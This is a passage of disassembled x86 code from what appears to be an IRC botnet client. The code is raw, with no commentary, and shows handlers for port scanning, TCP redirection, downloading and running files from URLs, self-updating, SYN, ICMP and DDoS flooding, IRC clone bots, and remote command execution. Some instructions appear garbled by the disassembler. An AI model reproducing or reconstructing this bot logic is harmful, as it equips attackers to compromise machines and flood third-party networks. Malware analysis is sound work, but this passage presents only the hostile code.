		mov	ecx, [ebp-464h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_40601A


loc_406004:				; CODE XREF: seg000:00406018j
		cmp	[ebp-450h], ebx
		jnz	loc_407B16
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_406004
; ---------------------------------------------------------------------------


loc_40601A:				; CODE XREF: seg000:00406002j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset aScanFailedTo_2 ; "[SCAN]: Failed to start scan thread, er"...
		jmp	loc_407B07
; ---------------------------------------------------------------------------


loc_40602B:				; CODE XREF: seg000:004050CBj
					; seg000:004050E2j
		push	edi
		call	sub_41D560
		push	7Fh
		mov	[ebp-300h], eax
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-404h]
		push	eax
		call	sub_41D800
		push	dword ptr [ebp+8]
		call	sub_41D560
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp+0Ch]
		mov	[ebp-304h], eax
		lea	eax, [ebp-384h]
		push	80h
		push	eax
		mov	[ebp-40Ch], esi
		call	sub_41D360
		mov	eax, [ebp-8]
		add	esp, 20h
		mov	edi, [ebp-4]
		mov	[ebp-2F0h], eax
		push	dword ptr [ebp-304h]
		lea	eax, [ebp-404h]
		mov	[ebp-2F4h], edi
		push	eax
		push	dword ptr [ebp-300h]
		push	esi
		call	sub_402617
		pop	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aRedirectTcpRed ; "[REDIRECT]: TCP redirect created from: "...
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	18h
		push	eax
		call	sub_408D3F
		add	esp, 24h
		mov	[ebp-2FCh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-40Ch]
		push	ebx
		push	eax
		push	offset sub_4116E4
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp-2FCh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_406114


loc_4060FE:				; CODE XREF: seg000:00406112j
		cmp	[ebp-2ECh], ebx
		jnz	loc_407B16
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_4060FE
; ---------------------------------------------------------------------------


loc_406114:				; CODE XREF: seg000:004060FCj
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset aRedirectFailed ; "[REDIRECT]: Failed to	start redirection"...
		jmp	loc_407B07
; ---------------------------------------------------------------------------


loc_406125:				; CODE XREF: seg000:0040509Dj
					; seg000:004050B4j
		push	0FFh
		lea	eax, [ebp-788h]
		push	edi
		push	eax
		call	sub_41D800
		push	0FFh
		lea	eax, [ebp-688h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_41D800
		push	dword ptr [ebp+8]
		mov	[ebp-584h], ebx
		call	sub_41D560
		mov	[ebp-580h], eax
		mov	eax, [ebp+esi-84h]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_406181
		push	10h
		push	ebx
		push	eax
		call	sub_41E380
		add	esp, 0Ch
		mov	[ebp-578h], eax
		jmp	short loc_406187
; ---------------------------------------------------------------------------


loc_406181:				; CODE XREF: seg000:0040616Bj
		mov	[ebp-578h], ebx


loc_406187:				; CODE XREF: seg000:0040617Fj
		mov	esi, [ebp+esi-80h]
		cmp	esi, ebx
		jz	short loc_40619E
		push	esi
		call	sub_41D560
		pop	ecx
		mov	[ebp-57Ch], eax
		jmp	short loc_4061A4
; ---------------------------------------------------------------------------


loc_40619E:				; CODE XREF: seg000:0040618Dj
		mov	[ebp-57Ch], ebx


loc_4061A4:				; CODE XREF: seg000:0040619Cj
		movzx	eax, byte ptr [ebp-9AFh]
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-574h], eax
		lea	eax, [ebp-808h]
		mov	[ebp-80Ch], esi
		push	eax
		call	sub_41D800
		mov	eax, [ebp-4]
		push	dword ptr [ebp+20h]
		mov	[ebp-56Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-570h], eax
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset aDownloadDownlo ; "[DOWNLOAD]: Downloading URL: %s to: %s."...
		push	eax
		call	sub_41D260
		push	esi
		lea	eax, [ebp-2C8h]
		push	1Dh
		push	eax
		call	sub_408D3F
		add	esp, 28h
		mov	[ebp-588h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-80Ch]
		push	ebx
		push	eax
		push	offset word_416486
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp-588h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_406252


loc_40623C:				; CODE XREF: seg000:00406250j
		cmp	[ebp-568h], ebx
		jnz	loc_4058BD
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_40623C
; ---------------------------------------------------------------------------


loc_406252:				; CODE XREF: seg000:0040623Aj
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset aDownloadFailed ; "[DOWNLOAD]: Failed to	start transfer th"...
		jmp	loc_406455
; ---------------------------------------------------------------------------


loc_406263:				; CODE XREF: seg000:0040506Fj
					; seg000:00405086j
		push	7Fh
		lea	eax, [ebp-774h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41D800
		push	esi
		lea	eax, [ebp-6F4h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_41D800
		push	esi
		lea	eax, [ebp-674h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41D800
		push	esi
		lea	eax, [ebp-5F4h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_41D800
		mov	eax, [ebp-8]
		push	dword ptr [ebp+8]
		mov	esi, [ebp-4]
		mov	[ebp-56Ch], eax
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp+20h]
		mov	[ebp-778h], eax
		lea	eax, [ebp-2C8h]
		push	edi
		push	offset aSynFloodingSSF ; "[SYN]: Flooding: (%s:%s) for %s seconds"...
		push	eax
		mov	[ebp-570h], esi
		call	sub_41D260
		add	esp, 44h
		lea	eax, [ebp-2C8h]
		push	ebx
		push	0Eh
		push	eax
		call	sub_408D3F
		add	esp, 0Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-778h]
		push	ebx
		push	eax
		push	offset byte_4147B7
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_406336


loc_406324:				; CODE XREF: seg000:00406334j
		cmp	[ebp-568h], ebx
		jnz	short loc_406351
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_406324
; ---------------------------------------------------------------------------


loc_406336:				; CODE XREF: seg000:00406322j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aSynFailedToSta ; "[SYN]: Failed	to start flood thread, er"...
		push	eax
		call	sub_41D260
		add	esp, 0Ch


loc_406351:				; CODE XREF: seg000:0040632Aj
		cmp	[ebp-8], ebx
		jnz	loc_40549F
		push	ebx
		push	esi
		jmp	loc_405487
; ---------------------------------------------------------------------------


loc_406361:				; CODE XREF: seg000:0040502Aj
					; seg000:00405041j ...
		push	7Fh
		lea	eax, [ebp-7F0h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41D800
		push	esi
		lea	eax, [ebp-770h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_41D800
		push	esi
		lea	eax, [ebp-6F0h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41D800
		push	esi
		lea	eax, [ebp-670h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_41D800
		push	20h
		lea	eax, [ebp-5F0h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41D800
		mov	eax, [ebp-4]
		push	dword ptr [ebp+8]
		mov	esi, [ebp+0Ch]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		push	dword ptr [ebp+20h]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-2C8h]
		push	edi
		push	offset aDdosFloodingSS ; "[DDoS]: Flooding: (%s:%s) for	%s second"...
		push	eax
		mov	[ebp-7F8h], esi
		call	sub_41D260
		add	esp, 50h
		lea	eax, [ebp-2C8h]
		push	ebx
		push	0Dh
		push	eax
		call	sub_408D3F
		add	esp, 0Ch
		mov	[ebp-7F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-7F8h]
		push	ebx
		push	eax
		push	offset dword_413A44
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp-7F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_406449


loc_406433:				; CODE XREF: seg000:00406447j
		cmp	[ebp-568h], ebx
		jnz	loc_4058BD
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_406433
; ---------------------------------------------------------------------------


loc_406449:				; CODE XREF: seg000:00406431j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset aDdosFailedToSt ; "[DDoS]: Failed to start flood	thread,	e"...


loc_406455:				; CODE XREF: seg000:0040589Fj
					; seg000:004059EAj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_41D260
		jmp	loc_4058BA
; ---------------------------------------------------------------------------


loc_406466:				; CODE XREF: seg000:00404FFCj
					; seg000:00405013j
		push	7Fh
		lea	eax, [ebp-444h]
		push	edi
		push	eax
		call	sub_41D800
		push	dword ptr [ebp+20h]
		call	sub_41D560
		push	3Fh
		mov	[ebp-2F4h], eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-3C4h]
		push	eax
		call	sub_41D800
		mov	esi, [ebp+esi-84h]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4064B4
		push	3Fh
		lea	eax, [ebp-384h]
		push	esi
		push	eax
		call	sub_41D800
		add	esp, 0Ch


loc_4064B4:				; CODE XREF: seg000:004064A0j
		lea	eax, [ebp-3C4h]
		mov	dword ptr [ebp-2F0h], 1
		push	eax
		lea	eax, [ebp-444h]
		push	dword ptr [ebp-2F4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aClonesCreatedO ; "[CLONES]: Created on %s:%d, in channel "...
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Fh
		push	eax
		call	sub_408D3F
		add	esp, 20h
		mov	[ebp-2ECh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-448h]
		push	ebx
		push	eax
		push	offset sub_402D46
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp-2ECh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_406540


loc_40652A:				; CODE XREF: seg000:0040653Ej
		cmp	[ebp-2E8h], ebx
		jnz	loc_4053E0
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_40652A
; ---------------------------------------------------------------------------


loc_406540:				; CODE XREF: seg000:00406528j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset aClonesFailedTo ; "[CLONES]: Failed to start clone thread,"...
		jmp	loc_4053D1
; ---------------------------------------------------------------------------


loc_406551:				; CODE XREF: seg000:00404FBCj
					; seg000:00404FD3j
		push	dword ptr [ebp+20h]
		call	sub_41D560
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-578h], eax
		jle	loc_406642
		mov	esi, 80h
		push	edi
		lea	eax, [ebp-700h]
		push	esi
		push	eax
		call	sub_41D360
		xor	eax, eax
		cmp	[ebp-9A2h], bl
		push	dword ptr [ebp-8Ch]
		setnz	al
		mov	[ebp-574h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-704h], eax
		lea	eax, [ebp-600h]
		push	esi
		push	eax
		call	sub_41D360
		mov	eax, [ebp-4]
		push	dword ptr [ebp+20h]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		push	edi
		push	offset aIcmpFloodingSF ; "[ICMP]: Flooding: (%s) for %s	seconds."
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_41D360
		push	ebx
		lea	eax, [ebp-2C8h]
		push	15h
		push	eax
		call	sub_408D3F
		add	esp, 38h
		mov	[ebp-580h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-704h]
		push	ebx
		push	eax
		push	offset byte_413E8B
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp-580h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_406631


loc_40661B:				; CODE XREF: seg000:0040662Fj
		cmp	[ebp-568h], ebx
		jnz	loc_40547E
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_40661B
; ---------------------------------------------------------------------------


loc_406631:				; CODE XREF: seg000:00406619j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset aIcmpFailedToSt ; "[ICMP]: Failed to start flood	thread,	e"...
		jmp	loc_40546F
; ---------------------------------------------------------------------------


loc_406642:				; CODE XREF: seg000:00406562j
		push	offset aIcmpInvalidFlo ; "[ICMP]: Invalid flood	time must be grea"...
		jmp	loc_407C35
; ---------------------------------------------------------------------------


loc_40664C:				; CODE XREF: seg000:00404F8Ej
					; seg000:00404FA5j
		push	dword ptr [ebp+20h]
		push	edi
		call	near ptr 3D0000h
		push	edi
		test	eax, eax
		jz	short loc_406679
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2C8h]
		push	edi
		push	offset aFileRenameSToS ; "[FILE]: Rename: '%s' to: '%s'."
		push	200h
		push	eax
		call	sub_41D360
		add	esp, 14h
		jmp	short loc_406698
; ---------------------------------------------------------------------------


loc_406679:				; CODE XREF: seg000:00406658j
		push	offset aFile_1	; "[FILE]:"
		call	loc_417935
		push	eax
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_41D360
		add	esp, 10h


loc_406698:				; CODE XREF: seg000:00404807j
					; seg000:0040482Dj ...
		cmp	[ebp-8], ebx
		jnz	short loc_4066B9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		add	esp, 14h


loc_4066B9:				; CODE XREF: seg000:00404035j
					; seg000:0040669Bj ...
		push	1
		pop	esi


loc_4066BC:				; CODE XREF: seg000:00406916j
					; seg000:004070A0j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4161A7
		pop	ecx
		mov	eax, esi
		jmp	loc_40349B
; ---------------------------------------------------------------------------


loc_4066D0:				; CODE XREF: seg000:00404F60j
					; seg000:00404F77j
		push	44h
		lea	eax, [ebp-48Ch]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41D100
		push	1
		mov	[ebp-48Ch], esi
		pop	esi
		mov	[ebp-45Ch], bx
		push	edi
		mov	[ebp-460h], esi
		call	sub_41D560
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_40670D
		mov	word ptr [ebp-45Ch], 5


loc_40670D:				; CODE XREF: seg000:00406702j
		cmp	[ebp-0Ch], ebx
		jz	loc_4053E0
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_41DBE0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_4053E0
		lea	eax, [ebp-2D8h]
		push	eax
		lea	eax, [ebp-48Ch]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 3D0000h
		pop	esp
		test	eax, eax
		jnz	short loc_406758
		push	offset aExecCouldnTExe ; "[EXEC]: Couldn't execute file."
		jmp	loc_407156
; ---------------------------------------------------------------------------


loc_406758:				; CODE XREF: seg000:0040674Cj
		push	edi
		push	offset aExecCommandsS ;	"[EXEC]: Commands: %s"
		jmp	loc_4053D1
; ---------------------------------------------------------------------------


loc_406763:				; CODE XREF: seg000:00404F32j
					; seg000:00404F49j
		push	dword ptr [ebp+20h]
		push	offset aRbg78	; "rbg78"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4068DF
		lea	eax, [ebp-3E8h]
		push	eax
		push	104h
		call	near ptr 3D0000h
		lahf
		push	0FFh
		lea	eax, [ebp-788h]
		push	edi
		push	eax
		call	sub_41D800
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_40871E
		push	eax
		lea	eax, [ebp-3E8h]
		push	eax
		lea	eax, [ebp-688h]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41D260
		mov	eax, [ebp+esi-88h]
		add	esp, 20h
		cmp	eax, ebx
		mov	dword ptr [ebp-584h], 1
		mov	[ebp-580h], ebx
		jz	short loc_4067F5
		push	10h
		push	ebx
		push	eax
		call	sub_41E380
		add	esp, 0Ch
		mov	[ebp-578h], eax
		jmp	short loc_4067FB
; ---------------------------------------------------------------------------


loc_4067F5:				; CODE XREF: seg000:004067DFj
		mov	[ebp-578h], ebx


loc_4067FB:				; CODE XREF: seg000:004067F3j
		mov	esi, [ebp+esi-84h]
		cmp	esi, ebx
		jz	short loc_406815
		push	esi
		call	sub_41D560
		pop	ecx
		mov	[ebp-57Ch], eax
		jmp	short loc_40681B
; ---------------------------------------------------------------------------


loc_406815:				; CODE XREF: seg000:00406804j
		mov	[ebp-57Ch], ebx


loc_40681B:				; CODE XREF: seg000:00406813j
		movzx	eax, byte ptr [ebp-9AFh]
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-574h], eax
		lea	eax, [ebp-808h]
		mov	[ebp-80Ch], esi
		push	eax
		call	sub_41D800
		mov	eax, [ebp-4]
		push	edi
		mov	[ebp-56Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-570h], eax
		lea	eax, [ebp-2C8h]
		push	offset aUpdateDownload ; "[UPDATE]: Downloading	update from: %s."
		push	eax
		call	sub_41D260
		push	esi
		lea	eax, [ebp-2C8h]
		push	1Eh
		push	eax
		call	sub_408D3F
		add	esp, 24h
		mov	[ebp-588h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-80Ch]
		push	ebx
		push	eax
		push	offset word_416486
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp-588h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_4068C2


loc_4068B0:				; CODE XREF: seg000:004068C0j
		cmp	[ebp-568h], ebx
		jnz	short loc_4068F2
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_4068B0
; ---------------------------------------------------------------------------


loc_4068C2:				; CODE XREF: seg000:004068AEj
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset aUpdateFailedTo ; "[UPDATE]: Failed to start download thre"...


loc_4068CE:				; CODE XREF: seg000:00406F8Fj
					; seg000:004070E4j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_41D260


loc_4068DA:				; CODE XREF: seg000:00407BBBj
		add	esp, 0Ch
		jmp	short loc_4068F2
; ---------------------------------------------------------------------------


loc_4068DF:				; CODE XREF: seg000:00406774j
		push	offset aUpdateBotIdMus ; "[UPDATE]: Bot	ID must	be different than"...


loc_4068E4:				; CODE XREF: seg000:004049F9j
					; seg000:00404A7Dj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx


loc_4068F2:				; CODE XREF: seg000:00404A01j
					; seg000:00404A5Bj ...
		cmp	[ebp-8], ebx
		jnz	short loc_406913
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		add	esp, 14h


loc_406913:				; CODE XREF: seg000:004068F5j
					; seg000:00406F84j ...
		mov	esi, [ebp+2Ch]
		jmp	loc_4066BC
; ---------------------------------------------------------------------------


loc_40691B:				; CODE XREF: seg000:00404F04j
					; seg000:00404F1Bj
		push	dword ptr [ebp-90h]
		push	offset a332_0	; "332"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403498
		cmp	[ebp-0Ch], ebx
		jz	loc_403498
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_41DBE0
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_41D260
		lea	eax, [ebp-2C8h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41D800
		push	edi
		call	sub_41D560
		add	esp, 30h
		test	eax, eax
		jle	short loc_4069A2
		push	edi
		call	sub_41D560
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_4F12F4	; Sleep


loc_4069A2:				; CODE XREF: seg000:0040698Cj
		push	offset aMainDelay_ ; "[MAIN]: Delay."
		call	sub_4161A7
		mov	eax, [ebp+2Ch]
		pop	ecx
		inc	eax
		jmp	loc_40349B
; ---------------------------------------------------------------------------


loc_4069B6:				; CODE XREF: seg000:00404ED6j
					; seg000:00404EEDj
		push	dword ptr [ebp-90h]
		push	offset a332_1	; "332"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403498
		cmp	[ebp-0Ch], ebx
		jz	loc_40845F
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_41DBE0
		mov	esi, eax
		mov	eax, [ebp+20h]
		inc	eax
		push	offset aRepeat_0 ; "repeat"
		push	eax
		call	sub_41D900
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_406A72
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset aSSSS_0	; "%s %s %s :%s"
		push	eax
		call	sub_41D260
		lea	eax, [ebp-2C8h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41D800
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset aMainRepeatS ; "[MAIN]: Repeat: %s"
		push	eax
		call	sub_41D260
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4161A7
		push	edi
		call	sub_41D560
		add	esp, 38h
		test	eax, eax
		jle	loc_40845F
		push	edi
		call	sub_41D560
		add	eax, [ebp+2Ch]
		pop	ecx
		jmp	loc_40349B
; ---------------------------------------------------------------------------


loc_406A72:				; CODE XREF: seg000:004069FBj
		push	offset aMainRepeatNotA ; "[MAIN]: Repeat not allowed in	command	l"...
		jmp	loc_4053D1
; ---------------------------------------------------------------------------


loc_406A7C:				; CODE XREF: seg000:00404EA8j
					; seg000:00404EBFj
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2C8h]
		push	offset aPartS	; "PART	%s"
		push	eax
		call	sub_41D260
		push	edi
		call	sub_41D560
		add	esp, 10h
		test	eax, eax
		jle	loc_40845F
		push	edi
		call	sub_41D560
		cmp	eax, 400h
		pop	ecx
		jge	loc_40845F
		lea	eax, [ebp-2C8h]
		push	eax
		push	offset aS_12	; "%s\r\n"


loc_406ABF:				; CODE XREF: seg000:00406B29j
					; seg000:0040721Fj
		push	edi
		call	sub_41D560
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4523C4[eax]
		call	sub_401417


loc_406AD7:				; CODE XREF: seg000:004081EFj
		add	esp, 0Ch
		jmp	loc_40845F
; ---------------------------------------------------------------------------


loc_406ADF:				; CODE XREF: seg000:00404E7Aj
					; seg000:00404E91j
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp+20h]
		push	offset aJoinSS_1 ; "JOIN %s %s"
		push	eax
		call	sub_41D260
		push	edi
		call	sub_41D560
		add	esp, 14h
		test	eax, eax
		jle	loc_40845F
		push	edi
		call	sub_41D560
		cmp	eax, 400h
		pop	ecx
		jge	loc_40845F
		lea	eax, [ebp-2C8h]
		push	eax
		push	offset aS_13	; "%s\r\n"
		jmp	short loc_406ABF
; ---------------------------------------------------------------------------


loc_406B2B:				; CODE XREF: seg000:00404E4Cj
					; seg000:00404E63j
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2C8h]
		push	offset aNickS	; "NICK	%s"
		push	eax
		call	sub_41D260
		push	edi
		call	sub_41D560
		add	esp, 10h
		test	eax, eax
		jle	loc_40845F
		push	edi
		call	sub_41D560
		cmp	eax, 400h
		pop	ecx
		jge	loc_40845F
		lea	eax, [ebp-2C8h]
		push	eax
		push	offset aS_14	; "%s\r\n"
		push	edi
		call	sub_41D560
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4523C4[eax]
		call	sub_401417
		push	dword ptr [ebp+20h]
		push	edi
		push	offset aCloneNickSS ; "[CLONE]:	Nick (%s): %s"


loc_406B8F:				; CODE XREF: seg000:00406C19j
					; seg000:00406C84j ...
		call	sub_41621B


loc_406B94:				; CODE XREF: seg000:00407EBCj
		add	esp, 18h
		jmp	loc_40845F
; ---------------------------------------------------------------------------


loc_406B9C:				; CODE XREF: seg000:00404E1Ej
					; seg000:00404E35j
		cmp	[ebp-0Ch], ebx
		jz	loc_40845F
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_41DBE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_406BCD
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset aModeS	; "MODE	%s"
		push	eax
		call	sub_41D260
		add	esp, 0Ch


loc_406BCD:				; CODE XREF: seg000:00406BB6j
		push	edi
		call	sub_41D560
		test	eax, eax
		pop	ecx
		jle	loc_40845F
		push	edi
		call	sub_41D560
		cmp	eax, 400h
		pop	ecx
		jge	loc_40845F
		lea	eax, [ebp-2C8h]
		push	eax
		push	offset aS_15	; "%s\r\n"
		push	edi
		call	sub_41D560
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4523C4[eax]
		call	sub_401417
		push	esi
		push	edi
		push	offset aCloneModeSS ; "[CLONE]:	Mode (%s): %s"
		jmp	loc_406B8F
; ---------------------------------------------------------------------------


loc_406C1E:				; CODE XREF: seg000:00404DF0j
					; seg000:00404E07j
		cmp	[ebp-0Ch], ebx
		jz	loc_40845F
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_41DBE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40845F
		push	edi
		call	sub_41D560
		test	eax, eax
		pop	ecx
		jle	loc_40845F
		push	edi
		call	sub_41D560
		cmp	eax, 400h
		pop	ecx
		jge	loc_40845F
		push	esi
		push	offset aS_16	; "%s\r\n"
		push	edi
		call	sub_41D560
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4523C4[eax]
		call	sub_401417
		push	esi
		push	edi
		push	offset aCloneRawSS ; "[CLONE]: Raw (%s): %s"
		jmp	loc_406B8F
; ---------------------------------------------------------------------------


loc_406C89:				; CODE XREF: seg000:00404DC2j
					; seg000:00404DD9j
		cmp	[ebp-0Ch], ebx
		jz	loc_40845F
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41DBE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40845F
		push	esi
		push	offset aModeS_0	; "MODE	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		push	esi
		push	offset aMainModeChange ; "[MAIN]: Mode change: %s"


loc_406CBB:				; CODE XREF: seg000:004073C4j
					; seg000:004073DDj ...
		call	sub_41621B


loc_406CC0:				; CODE XREF: seg000:00406D29j
		add	esp, 14h
		jmp	loc_40845F
; ---------------------------------------------------------------------------


loc_406CC8:				; CODE XREF: seg000:00404D94j
					; seg000:00404DABj
		push	dword ptr [ebp-90h]
		push	offset a332_2	; "332"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403498
		push	dword ptr [ebp+20h]
		push	offset aPartS_0	; "PART	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		push	edi
		call	sub_41D560
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_4F12F4	; Sleep
		push	dword ptr [ebp+esi-88h]
		push	dword ptr [ebp+20h]
		push	offset aJoinSS_2 ; "JOIN %s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		push	offset aMainCycle_ ; "[MAIN]: Cycle."
		call	sub_4161A7
		jmp	short loc_406CC0
; ---------------------------------------------------------------------------


loc_406D2B:				; CODE XREF: seg000:00404D66j
					; seg000:00404D7Dj
		cmp	[ebp-0Ch], ebx
		jz	loc_40845F
		push	edi
		call	sub_41AC70
		push	dword ptr [ebp+18h]
		mov	esi, eax
		call	sub_41AC70
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+20h]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41DBE0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_40845F
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset dword_43EF28
		push	eax
		call	sub_41D260
		push	ebx
